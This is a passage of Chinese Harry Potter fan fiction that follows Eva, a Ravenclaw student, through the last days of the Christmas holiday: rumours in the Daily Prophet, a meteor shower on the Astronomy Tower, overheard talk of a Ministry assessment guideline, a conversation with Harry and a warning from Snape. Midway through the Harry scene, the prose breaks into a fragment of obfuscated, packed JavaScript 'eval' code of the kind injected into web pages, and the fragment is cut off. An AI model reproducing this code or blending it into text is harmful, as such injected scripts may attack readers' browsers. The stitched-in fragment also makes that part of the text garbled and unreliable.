不远处,安东尼·戈德斯坦与几位高年级同学的讨论则更像一场小型研讨会。他面前摊开着报纸和一本《国际魔法法案例选编》。 “撇开情感因素,”戈德斯坦的声音冷静得像在分析棋盘,“这篇文章真正的危险在于它为‘预防性干预’创造了叙事基础。注意这里,‘多位匿名专家建议’——它没有引用任何具名学者的反对意见,营造了虚假的共识。” 他对面的女生点头:“而且它混淆了‘教育适应性评估’和‘个案事件调查’的界限。前者是针对教学体系的长期观察,后者是针对特定事件的……” 戈德斯坦推了推眼镜,目光快速掠过Eva的方向,又迅速回到报纸上,仿佛她的存在只是一个需要被纳入考量的变量。“所以我们的回应重点,不应该是否认现象,而应该是指出这种叙事建构的不公与越界。这比争论火焰的颜色更有意义。” 他的语气毫无波澜,但翻动书页的手指比平时更用力了些。 泰瑞·布特背对着拉文克劳长桌,但他显然也在参与这场讨论——只不过角度更“实用”。 “……所以说这些有什么用?”他挥了挥手,语气带着拉文克劳式的务实,“就算他们真弄出个‘评估指南’,流程走到霍格沃茨至少也要一学期。有这时间担心,不如想想怎么在下周的古代如尼文测验里拿到‘O’,或者,”他顿了顿,朝球场方向扬了扬下巴,“研究一下赫奇帕奇新击球手的战术弱点。那才是我们能影响的事情。” 他说这话时,旁边的朋友悄悄朝Eva的方向瞥了一眼,布特立刻用胳膊肘碰了他一下,压低声音:“盯着看能改变报纸上的字吗?专注点。” 德拉科·马尔福坐在斯莱特林长桌,面前的食物依旧没动多少。布雷司·扎比尼试图和他说什么,他只是冷冷地瞥了一眼,对方便识趣地闭嘴。 马尔福的目光几次扫过拉文克劳长桌,每次停留的时间都不超过半秒,快得像错觉。他的下颌线绷得紧紧的,那种刻意维持的平静下,藏着某种她读不懂的焦躁。 晚餐后,Eva独自去了一趟猫头鹰棚屋。 她需要给家里回信——关于今天的文章,关于校长室的谈话。不是求助,只是告知。爷爷说过,面对问题,首先要做的就是看清全貌。 素雪落在她肩头,琥珀色的眼睛在昏暗的光线下明亮如常。Eva将写好的信系在它腿上,轻声说:“辛苦你了。” 雪鸮蹭了蹭她的脸颊,振翅飞入夜色。 返回塔楼的路上,她在三楼走廊的拐角处停了下来。 窗外,禁林方向的夜空一片漆黑。雪花无声地落着,覆盖了城堡、庭院和所有的足迹。胸前药囊传来稳定的细微的温热。 Eva收回视线,继续向前。脚步声在空旷的走廊里回荡,一声,又一声,像是某种固执的、不肯停歇的节拍。 回到拉文克劳公共休息室时,壁炉的火已经调小。帕德玛和曼蒂正在下巫师棋,看到她回来,都抬起头。 “信寄了?”帕德玛问。 “嗯。”Eva在她们旁边的扶手椅坐下。 曼蒂移动了一枚棋子,犹豫了一下,还是小声问:“Eva,你真的没事吗?今天报纸上那些话……” “我没事。”Eva轻声说,“只是有些累。” 恢复期的疲惫像一层薄雾,总是在傍晚时分悄然笼罩。经脉深处的滞涩感已经消退,但那种深层的、属于“炁”的空乏依旧存在。像一口被汲取得过多的井,需要漫长的时间重新蓄满。 “那你早点休息。”帕德玛说,“我们这局下完就睡。” Eva点了点头,起身走向女生寝室。 推开房门时,月光从高窗斜射进来,在地板上投下一片清冷的光斑。她换下校袍,穿上柔软的睡衣,将白色药囊置于枕下。 清雅的草药气息弥漫开来。她躺下,闭上眼睛,感受着体内“炁”的流动——缓慢,但确实在恢复。像冬日冻土下的细流,艰难却固执地向前。 窗外的雪还在下。 而在城堡另一端的地窖深处,德拉科·马尔福独自坐在公共休息室的壁炉前。 银绿色的火焰在他苍白的脸上投下摇曳的光影。他手里没有报纸——那份《预言家日报》早已化为灰烬——但他面前摊开着一本厚重的《国际魔法法案例汇编》,翻到某一页的手指僵在半空。 父亲今天下午通过双面镜传来的话在耳边回响,冰冷得像刀子:“离那个拉文克劳远点。不管她用的是不是‘东方把戏’,她现在是个麻烦。马尔福家不能和任何‘异常’沾边,尤其是在这个时候。” 麻烦。 他盯着壁炉里的火焰,灰蓝色的眼睛里倒映着跳动的银绿色光点。然后,他猛地合上书,发出沉闷的“啪”的一声。 寝室传来克拉布含糊的嘟囔——他提前返校了,说是家里待着无聊。高尔还没回来。 马尔福站起身,走到窗边。他想起那晚储藏室里,她平静地说“配方很好用……你可以试试”时的样子。那语气该死的平静……还有她递回那个米白色纸包时,指尖无意间擦过他掌心的、一瞬即逝的温热触感——他当时立刻收回了手,但现在却莫名清晰地记得。 麻烦? 当然是麻烦。父亲说得再清楚不过。 可为什么……为什么脑子里总会闪过一些该死的画面?露天走廊下那片诡异的暗红火焰,贴地燃烧的样子他从来没见过;还有更早之前,火车隔间里摄魂怪带来的寒意中,那道突然划过的金色轨迹;以及更久远些的、禁林那晚混乱中的强光和被她挡在身后的瞬间。 甚至……礼堂里她穿着那件月白色袍子、笨拙跟着戈德斯坦跳舞时,侧脸在烛光下泛起的那层微红。 ——见鬼。 马尔福猛地掐断思绪,指节用力到发白。他烦躁地意识到,这些画面像顽固的污渍,越是想擦掉,越是清晰。 胸腔里那股挥之不去的烦躁,还有这地窖该死的潮湿空气,让人喘不过气。 90.余烬低语 圣诞假期的最后几日,雪下得越发任性了。 时而铺天盖地,将城堡彻底裹进一片寂静的纯白;时而又吝啬地飘几片,在已堆积如山的雪坡上添些碎银。庭院里的雪雕们终于支撑不住,接二连三地坍塌、变形,最终融进那片无边无际的白色里。只有那只雪鹰的残骸还倔强地立着,翅膀断了半截,黑色的火山岩眼睛半埋在雪中,依旧固执地望着塔楼的方向。 开学前的的晚餐,留校的学生比平时多了几个——有些是为了赶霍格沃茨特快提前返校的七年级生,抱着厚厚的N.E.W.T.复习资料;也有些是像丽莎·杜平那样,家里的忙碌告一段落,匆匆赶回来与朋友们共度新年。 丽莎拖着那只明显轻了许多的行李箱走进拉文克劳公共休息室时,脸上带着长途旅行后的疲惫,但眼睛亮晶晶的。“我妈妈让我带了黑森林蛋糕!”她迫不及待地打开箱子,里面用魔法保温的锡盒散发出巧克力和樱桃的甜香,“还有这些——我弟弟妹妹们做的贺卡,有点幼稚,但……” 曼蒂已经扑了过去,帕德玛微笑着接过丽莎肩上的背包。Eva坐在壁炉旁,看着她们闹成一团,深蓝色的炉火将每个人的脸颊映得温暖。这种属于“家”的、琐碎而真实的温暖,让她心里某个紧绷的角落悄然松动。 晚餐时,邓布利多教授宣布了一项特别安排——午夜时分,天文塔将对所有留校学生开放,观测新年第一场流星雨。“当然,”他半月形眼镜后的蓝眼睛里闪着温和的光,“必须有级长陪同。” 这个消息让沉闷已久的礼堂泛起一阵小小的骚动。曼蒂立刻拉着帕德玛和丽莎讨论要不要去,几个赫奇帕奇学生已经在规划带什么点心上塔楼。 Eva小口喝着蔬菜汤。庞弗雷夫人今早的检查结果令人欣慰——经脉的撕裂基本愈合,深层空乏感虽未完全消除,但已稳定在“可缓慢恢复”的范围。银色药剂减为每日一次,户外活动时间延长至四十五分钟。 “你可以适当参加一些温和的集体活动了。”庞弗雷夫人在医疗翼对她说,语气依旧严厉,但眼底有关切,“但要记住界限——不能劳累,不能受寒,不能情绪激动。” 温和的集体活动。天文塔观测流星雨,算吗? 她抬头看向教师席。斯内普教授坐在阴影里,面前的食物几乎没动,黑眼睛偶尔扫过礼堂,最后定格在她身上——那目光冰冷而审视,像是在评估一件即将出窖的魔药成品。四目相对的瞬间,他几不可察地移开了视线,仿佛她只是一件不值得多看的普通摆设。 Eva低下头,继续喝汤。 晚餐后返回塔楼的路上,丽莎兴奋地讲述着家里的圣诞——弟弟终于学会了漂浮咒(虽然只让羽毛飘了十秒),妹妹养的蒲绒绒生了一窝幼崽,妈妈做的肉馅饼差点把烤箱炸了…… “你呢,Eva?”丽莎忽然问,“假期过得怎么样?身体好点了吗?” “好多了。”Eva点头,“主要是静养。” “那就好。”丽莎仔细看了看她的脸,“脸色比圣诞节前红润了些。不过……”她顿了顿,声音压低,“我在火车上听到些议论。关于《预言家日报》那篇文章……” “丽莎。”帕德玛轻轻摇头。 “我知道,我知道。”丽莎连忙说,“我只是想说——别理那些。我妈妈常说,报纸上三分真七分假,剩下九十分都是他们自己编的。” 这话说得稚气,却让Eva心里一暖。她点了点头:“谢谢。” 此时的天文塔比平时热闹许多。 当Eva和室友们沿着旋转楼梯登上塔楼顶层时,那里已经聚集了二十几个学生。赫奇帕奇的塞德里克·迪戈里正和几个朋友调试着一架黄铜望远镜,秋·张站在他旁边,深蓝色的袍子在夜风中微微飘动。几个拉文克劳高年级生摊开星图,低声讨论着流星雨的可能轨迹。 曼蒂兴奋地跑到栏杆边:“能看到整个城堡!” 确实。从天文塔顶俯瞰,霍格沃茨在夜色中呈现出与白日截然不同的面貌——塔楼像一根根沉默的黑色利剑刺向深蓝的天幕,庭院被积雪覆盖成一片柔和的银白,远处黑湖像一块巨大的、打磨过的黑曜石,倒映着稀疏的星光。 空气冷冽得像刀子,每一次呼吸都带着清晰的白雾。Eva裹紧了韦斯莱夫人送的深蓝色毛衣,胸前药囊传来温润的热意。她靠在栏杆上,望着那片深不见底的夜空。 “还有十分钟。”塞德里克的声音从旁边传来。他走到栏杆边,朝Eva点了点头,“晚上好,张。身体好些了吗?” “好多了,谢谢。” “那就好。”塞德里克点点头,“秋说你恢复得不错。” 秋从另一边走过来,手里拿着两杯暖手饮料。“给。”她递给Eva一杯,“蜂蜜柠檬茶,热的。” Eva接过,杯壁传来的暖意透过手套渗入掌心。“谢谢。” 三人并肩站在栏杆边,望着夜空,共享此刻的宁静。 “我爸爸说,流星雨其实是一种很古老的魔法现象。”塞德里克忽然开口,声音在夜风中很清晰,“不是魔法造成的,但它本身就像一种自然魔法——短暂,美丽,无法预测。” “就像魁地奇比赛里的金色飞贼。”秋微笑道。 “有点类似。”塞德里克点头,“但飞贼至少能被抓住。流星……你只能看着它划过,然后消失。” 他说这话时语气平和,但Eva听出了一丝别的东西——关于无法把握之物的感慨,或许也关于他正在面对的东西:N.E.W.T.考试,毕业,还有更远的、充满不确定的未来。 就在这时,第一颗流星划破了夜空。 银白色的光痕从东北方的天际撕裂黑暗,拖着长长的、逐渐黯淡的尾巴,消失在城堡另一侧的群山之后。塔楼上响起几声压抑的惊呼。 然后是第二颗,第三颗。 流星并不密集,每隔几十秒才有一颗,但每一道轨迹都清晰得惊人。银白色的光在深蓝的天幕上短暂燃烧,像某种无声的宣言,又像一个个转瞬即逝的答案。 Eva望着那些光痕,想起爷爷信里的话:“冬日养藏,正合静养之道。”也想起父亲冰冷的告诫:“你的任务是学习,不是扮演英雄。” 还有那晚储藏室里,马尔福那句带着利益算计的提醒:“只陈述事实。” 所有这些,像一道道看不见的轨道,将她框定在“恢复期学生”和“不惹麻烦的拉文克劳”的范围内。安全,稳妥,符合所有人的期望。 但当她仰望这片星空,看着那些流星义无反顾地燃烧、坠落时,心里某个角落却泛起一丝细微的、近乎疼痛的共鸣——那是一种对“轨迹”本身的反抗,即使知道结局是湮灭,也要在坠落前发出光。 “真美。”秋轻声说。 “嗯。”塞德里克点头。 Eva没有接话。她只是望着夜空,任由那些银白色的光痕在眼底短暂停留,然后消散。 观测持续到凌晨一点。流星雨逐渐稀疏,寒意越来越重。级长们开始催促学生们返回塔楼。 下楼梯时,Eva走在最后。旋转的石阶在脚下延伸,墙壁上的火把投下摇晃的光影。就在她走到三楼与二楼之间的平台时,前方拐角处传来压低的声音。 “……我父亲说,魔法部教育司正在起草一份《跨国教育适应性评估指南》。” 是布雷司·扎比尼的声音。很轻,但在这寂静的走廊里清晰可闻。 另一个声音回应,更轻,几乎听不清:“……基于什么标准?” “模糊得很。”扎比尼的语气里带着惯有的玩味,“但无非是一些涉及‘文化背景适配’、‘魔法体系兼容性’、‘风险可控’……” 脚步声渐近。两人都没有穿校袍,而是换上了便装。他们显然也注意到了站在不远处的她——深蓝色的拉文克劳校袍在昏暗的火把光下很好辨认。 两人的脚步声没有停留,从她身边平稳地走过。 但就在交错而过的瞬间,扎比尼那懒洋洋的声音再次响起,像是普通的闲聊,却又带着某种刻意的清晰:“总之,听起来很麻烦,对吧,西奥多?某些‘特别’的学生可能得准备应付一堆问卷和测试了。” “麻烦总是相对的。”诺特的声音平静依旧,“对有些人或许是,对另一些人……也可能是机会。” 脚步渐行渐远,朝着斯莱特林地窖的方向去了。 《跨国教育适应性评估指南》。评估。风险可控。 这些词像冰冷的锁链,在她脑海中叮当作响。扎比尼最后那句话,显然不只是说给诺特听的。是警告?是试探?还是某种……展示? 她加快脚步返回拉文克劳塔楼。青铜鹰门环今晚的问题是:“何物最沉默,却能揭示最深的真相?” 她停了几秒,轻声答:“轨迹。” 门应声而开。 公共休息室里只剩壁炉的余烬还在微微发红。帕德玛和曼蒂已经回寝室了,丽莎正蜷在沙发上打盹,手里还攥着半块黑森林蛋糕。 “你回来了。”丽莎迷迷糊糊地睁开眼,“流星雨好看吗?” “嗯。”Eva点头,“去睡吧,很晚了。” “好……”丽莎揉着眼睛站起身,摇摇晃晃走向女生寝室。 Eva在壁炉前站了一会儿,看着那些即将熄灭的炭火。深红色的余烬在灰白中明明灭灭,像不肯彻底沉睡的眼睛。 她想起天文塔上那些流星,想起扎比尼和诺特的对话,想起邓布利多在校长室里温和却坚定的保护,也想起斯内普冰冷的审视。 所有这些,像一张逐渐收紧的网。而她站在网中央,需要找到自己的方式——不是挣脱,而是在网格的间隙中,保持呼吸。 开学前最后一天,雪停了。 阳光毫无遮挡地洒下来,将城堡照得一片金灿灿。庭院里的积雪开始缓慢融化,屋檐下挂起晶莹的冰凌,滴滴答答地敲打着石板。走廊里又响起了行李箱轮子滚动的声音,猫头鹰棚屋比平时忙碌许多,学生们忙着将最后的信件和礼物寄出。 Eva的恢复进入了新阶段。庞弗雷夫人允许她每日进行一小时的“轻度魔法实践”——不是施咒,而是最基础的魔力感知和疏导练习。 “就像疏通淤塞的河道。”庞弗雷夫人在医疗翼指导她,“感受魔力的流动,引导它,但不要强迫。如果有任何滞涩或疼痛,立刻停止。” Eva盘腿坐在医疗翼靠窗的床上,闭上眼睛。掌心向上,意念沉入经脉深处。 那种深层的空乏感依旧存在,像一口被汲取得过多的井。但当她静下心来,能感觉到微弱的、新生的暖流正在缓慢滋生——不是“炁”那种更内敛深沉的力量,而是属于巫师魔力的、更活跃明亮的能量。两者在经脉中并行,像两条深浅不同的溪流,尚未完全交融,但至少不再互相冲撞。 她引导着那股暖流沿着爷爷教过的路径缓慢循环。很慢,很轻,像春风拂过初融的冰面。经脉传来细微的、近乎舒适的暖意,而不是之前的滞痛。 一小时后,她睁开眼睛。额头上渗出细密的汗珠,但精神却异常清醒——不是疲惫后的亢奋,而是一种深层的、被滋养后的清明。 “很好。”庞弗雷夫人检查了她的脉搏和魔力波动,“恢复速度比预期快。继续保持,但切记——不可冒进。” “我明白。”Eva点头。 离开医疗翼时,她在走廊里碰到了哈利。 他刚从猫头鹰棚屋下来,怀里抱着一摞信件和包裹,绿眼睛下的阴影比假期前淡了些,但依旧能看出疲惫。看到Eva,他脚步顿了一下。 “Eva。”他的声音有些干涩,“你……你好些了吗?” “好多了。”Eva看着他怀里那堆东西,“看起来很重。” “嗯,主要是法律文件。”哈利苦笑,“布莱克案的听证会定在一月十五日,律师需要我确认很多细节……还有圣芒戈的探视安排……” 他说这话时语气平静,但Eva听出了下面压抑的沉重——关于即将面对威森加摩,关于要去见那个可能是他教父的男人,关于所有尚未厘清的过去。 “需要帮忙吗?”她轻声问。 哈利愣了一下,随即摇头:“不用,我自己可以。赫敏和罗恩已经帮了很多……”他顿了顿,绿眼睛看着她,里面翻涌的情绪比话语更复杂——那不只是感谢,还有一种疲惫至极时看到熟悉灯塔的松懈,以及一丝不易察觉的、连他自己都未完全理解的依赖。他抱着那堆沉重的文件,肩膀的线条却几不可察地松弛了一线。“其实……我一直想正式谢谢你。那晚如果不是你……”他的声音低了下去,后面的话没说出口,但眼神说明了一切——那晚她挡在狼人前的画面,和他父母死亡的记忆碎片一样,深深刻在了他的脑海里。 “你已经谢过很多次了。”Eva轻声打断他,目光平静地落在他眼下淡淡的阴影上,“我们是朋友。朋友之间,有些事不用说。” 这个词让哈利的表情柔和了些,但眼神深处那层沉重的阴翳并未完全散去。“对。”他点头,声音有些干涩,“朋友。”这个词让他心里某个地方微微发暖,却又带着一丝奇异的重量——仿佛这个词涵盖不了Eva对他来说的全部意义,但眼下,这是唯一安全、合适的定义。 两人并肩走向主楼梯。走廊里没什么人,只有远处几个低年级学生嬉笑着跑过,那笑声清脆却遥远,仿佛来自另一个世界。哈利怀里的文件随着脚步发出轻微的沙沙声,像某种不安的细语。 “听证会……”Eva犹豫了一下,这不是她惯常会问的问题,但话已出口,“你会紧张吗?” 哈利沉默了几秒,脚步微微放缓。走廊窗外的雪光映着他苍白的侧脸,让那道闪电形疤痕显得格外清晰。“会。”他诚实地说,声音比刚才更低,更像是在对自己承认,“但更多的是……我需要知道真相。关于我父母,关于那天晚上到底发生了什么。”他的手指无意识地、用力地摩挲着怀里最上面那封信的封蜡,指节微微泛白,“即使真相可能……很痛苦。比现在的不知道,更痛苦。” 他最后这句话说得很轻,却带着一种破釜沉舟的决绝。Eva听懂了。他不是在寻求安慰,而是在陈述一个他必须踏入的事实。她想起雪夜走廊里他崩溃的背影,想起他对自己身世真相的那种近乎执拗的渴求。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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假期最后两日,城堡里的气氛逐渐恢复平日的节奏。教授们陆续返校,费尔奇的巡逻又开始变得频繁,图书馆里重新坐满了赶作业的学生。 Eva大部分时间待在公共休息室或寝室。她开始预习下学期的课程——魔药学的进阶配方,变形术的动物变形基础理论,古代如尼文的复杂语法结构。书页在指尖沙沙翻动,字句在脑海中逐渐构建起清晰的框架。 这种回归“学生”身份的平静,让她心里某个紧绷的角落悄然松弛。爷爷说得对——冬日养藏,正合静养之道。而学习,或许是最安全、最不会出错的“养藏”方式。 假期最后一天的傍晚,她独自去了趟温室。 斯普劳特教授正在给几株刚苏醒的毒触手浇水,看到Eva进来,圆圆的脸上露出笑容:“下午好,张小姐!来找草药茶的材料?” “只是想看看。”Eva轻声说,“明天就正式开学了。” “时间过得真快。”斯普劳特教授感叹,“感觉圣诞才过去没多久。”她指了指温室东侧,“去看看那几株月见草吧,你朋友标记过的——开得正好。” Eva走到东区第三排。果然,几株月见草在温室温暖湿润的空气里舒展着淡黄色的花瓣,叶片油绿发亮。她想起哈利在那本图鉴上的标注——“弗立维教授提过,对精神疲劳有效”。 她蹲下身,小心地触碰一片花瓣。柔软的触感,带着植物特有的、顽强的生命力。 “张小姐。” 斯内普的声音像冰锥一样刺穿了温室的宁静。 Eva站起身。魔药学教授站在温室门口,黑袍像一片凝固的夜色。他没有走进来,只是站在门槛外,黑眼睛冷冷地扫过她,最后定格在她刚才触碰月见草的手上。 “我假设庞弗雷夫人允许你进行户外活动了。”他的声音拖长了,带着惯有的讥诮。 “是的,教授。”Eva平静地回答,“每日四十五分钟。” “四十五分钟。”斯内普重复这个词,语气里听不出是赞同还是讽刺,“那么,你应该有足够的时间……为即将开始的额外劳动做准备。” Eva的心脏微微收紧。额外的魔药材料处理工作——邓布利多说过推迟到新学期开始后,视身体状况再定。 “庞弗雷夫人说我的恢复状况良好。”她谨慎地说,“但具体安排还需要她最终批准。” 斯内普的黑眼睛眯了起来,像是在评估她这句话里有几分真实,几分推脱。几秒钟后,他才缓缓开口:“下周三下午四点,地窖。带龙皮手套和基础防护用具。我会提前一天确认庞弗雷夫人的签字。” 不是询问,是通知。 “好的,教授。”Eva点头。 斯内普没有立刻离开。他的目光在她脸上停留了几秒,那眼神冰冷得像在解剖一只稀有而麻烦的魔法生物。 “关于那篇文章。”他忽然说,声音压得更低,“邓布利多处理了舆论,但这不意味着问题不存在。你的魔法……特质,已经被注意到了。” 他顿了顿,每个字都像碎冰砸在石板上:“在我的课堂上,在我的地窖里,只有一种魔法体系被认可——霍格沃茨的标准体系。任何偏离,任何‘异常’,都不会被容忍。你明白吗?” 这是警告,也是划界。 “我明白,教授。”Eva的声音平稳,“我会遵守规则。” 斯内普盯着她看了很久,久到温室里的水车又转完一圈。然后,他点了点头——那动作轻微得几乎看不见。 “记住你说的话。”他最后说,转身离开。黑袍在温室门口拖出一道冰冷的影子,很快消失在走廊深处。 Eva站在原地,指尖微微发凉。不是害怕,是那种面对明确规则时的清醒——地窖将成为她的考场,而考官是西弗勒斯·斯内普,一个绝不会容忍任何“异常”的魔药大师。 她需要做好准备。 离开温室时,暮色已经降临。庭院里的积雪融化了大半,露出下面潮湿的青石板路。那只雪鹰的残骸终于彻底消失了,只剩下一小堆融化的雪水,在夕阳下泛着淡淡的金色。 Eva停下脚步,看着那摊水渍。它存在过,守护过,然后融化了。就像有些事情,即使知道结局,过程本身也有意义。 她转身返回城堡。晚餐的钟声正在响起,浑厚而悠长,在暮色中层层回荡。 明天,霍格沃茨特快将满载着学生返回。走廊会重新挤满人,礼堂会恢复往日的喧嚣,课堂会再次开始。 而她也需要回到“张丽华,拉文克劳三年级学生”的身份里——按时上课,完成作业,遵守校规。在斯内普的地窖里证明自己“安全无害”,在所有人的注视下保持“低调谨慎”。 这是她的轨迹。至少现在,她需要沿着它走下去。 推开拉文克劳塔楼大门时,公共休息室里已经点起了壁炉。帕德玛和曼蒂正在收拾明天上课要用的书,丽莎兴奋地讲述着家里弟弟新养的猫头鹰多么可爱。 “Eva!”曼蒂看到她,眼睛一亮,“快来看!妈妈给我寄了新学期的羽毛笔——会自动纠错的那种!” Eva走过去,接过那支笔。深蓝色的笔杆,笔尖闪着银光。她在羊皮纸上试了试,字迹工整流畅。 “很好用。”她微笑道。 “对吧!”曼蒂得意地说,“我还给你和帕德玛也订了,但要下周才到。” 窗外,最后一点天光消失了。苏格兰高地的冬夜再次降临,深沉,寂静,但不再像假期时那样空旷得令人不安。 因为明天,霍格沃茨将重新醒来。 而所有未解的轨迹,都将在新学期的晨光中,继续向前延伸。